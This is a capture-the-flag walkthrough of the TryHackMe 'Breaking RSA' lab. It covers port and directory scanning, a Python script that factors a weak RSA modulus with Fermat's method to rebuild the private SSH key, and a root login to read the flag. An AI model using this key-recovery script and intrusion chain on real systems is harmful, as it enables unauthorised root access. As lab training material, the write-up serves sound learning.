> For the complete documentation index, see [llms.txt](https://bunring.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/breaking-rsa.md). # Breaking RSA {% embed url="" %} Let's start with a simple nmap scan. ``` ┌──(kali㉿kali)-[~] └─$ nmap -sT -p- 10.10.251.239 -T4 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-19 00:51 EST Warning: 10.10.251.239 giving up on port because retransmission cap hit (6). Stats: 0:18:56 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 92.68% done; ETC: 01:12 (0:01:30 remaining) Nmap scan report for 10.10.251.239 Host is up (0.15s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 27567/tcp filtered unknown 31710/tcp filtered unknown 36144/tcp filtered unknown Nmap done: 1 IP address (1 host up) scanned in 1247.83 seconds ``` We can see there are 2 open ports, SSH on port 22 and a web server on port 80. Let's enumerate the directories now. We are using Gobuster.
We have found only one directory i.e: `/development.` Let's visit the web server now.
Nothing to go one here. Let's visit /development.
There are two files as we can see. * `id_rsa.pub` * `log.txt` The `log.txt` re iterates what is already mentioned in the description of the room.
We know from the challenge that we are dealing with a weak RSA implementation. We will most likely be to extract `N` and `e` from the public key in order to factorize `N`, getting `p` and `q`, and finally calculate `d`. The value `d` is the private key. If we have `N`, `e`, and `d`, we can generate the private SSH key and then access the machine. Let's download the public key. {% code overflow="wrap" %} ``` ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrZh8oe8Q8j6kt26IZ906kZ7XyJ3sFCVczs1Gqe8w7ZgU+XGL2vpSD100andPQMwDi3wMX98EvEUbTtcoM4p863C3h23iUOpmZ3Mw8z51b9DEXjPLunPnwAYxhIxdP7czKlfgUCe2n49QHuTqtGE/Gs+avjPcPrZc3VrGAuhFM4P+e4CCbd9NzMtBXrO5HoSV6PEw7NSR7sWDcAQ47cd287U8h9hIf9Paj6hXJ8oters0CkgfbuG99SVVykoVkMfiRXIpu+Ir8Fu1103Nt/cv5nJX5h/KpdQ8iXVopmQNFzNFJjU2De9lohLlUZpM81fP1cDwwGF3X52FzgZ7Y67Je56Rz/fc8JMhqqR+N5P5IyBcSJlfyCSGTfDf+DNiioRGcPFIwH+8cIv9XUe9QFKo9tVI8ElE6U80sXxUYvSg5CPcggKJy68DET2TSxO/AGczxBjSft/BHQ+vwcbGtEnWgvZqyZ49usMAfgz0t6qFp4g1hKFCutdMMvPoHb1xGw9b1FhbLEw6j9s7lMrobaRu5eRiAcIrJtv+5hqX6r6loOXpd0Ip1hH/Ykle2fFfiUfNWCcFfre2AIQ1px9pL0tg8x1NHd55edAdNY3mbk3I66nthA5a0FrKrnEgDXLVLJKPEUMwY8JhAOizdOCpb2swPwvpzO32OjjNus7tKSRe87w== ``` {% endcode %} We can use the `ssh-keygen` utility to find the length of the discovered RSA key. ``` ┌──(kali㉿kali)-[~/Downloads] └─$ ssh-keygen -l -f id_rsa.pub **** SHA256:DIqTDIhboydTh2QU6i58JP+5aDRnLBPT8GwVun1n0Co no comment (RSA) ``` The following source gives us an example of how the parameters `N` and `e` can be retrieved from the public key using Python. {% embed url="" %} {% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/Downloads] └─$ python Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from Crypto.PublicKey import RSA >>> f = open("id_rsa.pub", "r") >>> key = RSA.importKey(f.read()) >>> key.n [REDACTED] >>> key.e [REDACTED] ``` {% endcode %} The challenge gives us a direct indication of how to calculate `p` and `q` in this case of weak implementation. We have to use **Fermat's Factorization method**. If we have `p` and `q`, we can calculate the private key `d` via the inverse of `e`. The challenge room also gives us an implementation of **Fermat's Factorization algorithm** in python. Now we have to generate the private SSH key from our values of the parameters `N`, `e`, and `d`. With the help of the followig source: {% embed url="" %} After being held at this point for quite some time. I eventually reffered to other write ups and this one helped the most with implementing the code of fermat factorization. I recommend giving it a read for a much more detailed understanding. {% embed url="" %} {% code title="rsa.py" overflow="wrap" lineNumbers="true" %} ```python import gmpy2 from Crypto.PublicKey import RSA def fermat_factorization(n): """Fermat's Factorization Method""" a = gmpy2.isqrt(n) + 1 b2 = gmpy2.square(a) - n while not gmpy2.is_square(b2): a += 1 b2 = gmpy2.square(a) - n p = a + gmpy2.isqrt(b2) q = a - gmpy2.isqrt(b2) return p, q def calculate_private_key(p, q, e): """Calculate the private key 'd'""" phi = (p - 1) * (q - 1) d = gmpy2.invert(e, phi) return d # Open the RSA key file with open("id_rsa.pub", "r") as f: # Import the RSA key key = RSA.import_key(f.read()) # Retrieve the modulus (n) and public exponent (e) n = key.n e = key.e # Print the modulus and public exponent print("\033[96mModulus (n):\033[0m", n) print("\033[96mPublic Exponent (e):\033[0m", e) # Factorize n into p and q using Fermat's Factorization p, q = fermat_factorization(n) # Calculate private key 'd' using p, q, and public exponent 'e' d = calculate_private_key(p, q, e) difference = abs(p - q) print("\033[93mp:\033[0m", p) print("\033[93mq:\033[0m", q) print("\033[93mDifference between q and p:\033[0m", difference) print("\033[96mPrivate Key (d):\033[0m", d) key_params = (n, e, d, p, q) key = RSA.construct((n,e,int(d))) # Export the private key to a file with open('id_rsa', 'wb') as f: f.write(key.export_key('PEM')) print("\033[92mPrivate key generated and saved as 'id_rsa'.\033[0m") ``` {% endcode %} We use `gmpy2` to calculate with large values. It is now time to run our finished script. {% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/Downloads] └─$ python rsa.py Modulus (n): 960343778775549488806716229688022562692463185460664314559819511657255292180827209174624059690060629715513180527734160798185034958883650709727032190772084959116259664047922715427522089353727952666824433207585440395813418471678775572995422248008108462980790558476993362919639516120538362516927622315187274971734081435230079153205750751020642956757117030852053008146976560531583447003355135460359928857010196241497604249151374353653491684214813678136396641706949128453526566651123162138806898116027920918258136713427376775618725136451984896300788465604914741872970173868541940675400325006679662030787570986695243903017923121105483935334289783830664260722704673471688470355268898058414366742781725580377180144541978809005281731232604162936015554289274471523038666760994260315829982230640668811250447030003462317740603204577123985618718687833015332554488836087898084147236609893032121172292368637672349405254772581742883431648376052937332995630141793928654990078967475194724151821689117026010445305375748604757116271353498403318409547515058838447618537811182917198454172161072247021099572638700461507432831248944781465511414308770376182766366160748136532693805002316728842876519091399408672222673058844554058431161474308624683491225222383 Public Exponent (e): 65537 p: [REDACTED] q: [REDACTED] Difference between q and p: [REDACTED] Private Key (d): [REDACTED] Private key generated and saved as 'id_rsa'. ``` {% endcode %} After running the script we answer question 4 and 6. ie {% code overflow="wrap" %} ``` What are the last 10 digits of n? (where 'n' is the modulus for the public-private key pair) ``` {% endcode %} ``` What is the numerical difference between p and q? ``` We can SSH in as root and we get our flag. ``` ┌──(kali㉿kali)-[~/Downloads] └─$ ssh -i id_rsa root@10.10.73.144 The authenticity of host '10.10.73.144 (10.10.73.144)' can't be established. ED25519 key fingerprint is SHA256:p8ToZTCl6UDL9y+eR4LyuFIrGt62U3kJ+oLKS6Iua84. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.73.144' (ED25519) to the list of known hosts. Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-124-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 1.0 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Aug 13 09:35:51 2022 from 10.0.0.11 root@thm:~# ls flag snap root@thm:~# cat flag [REDACTED] root@thm:~# ```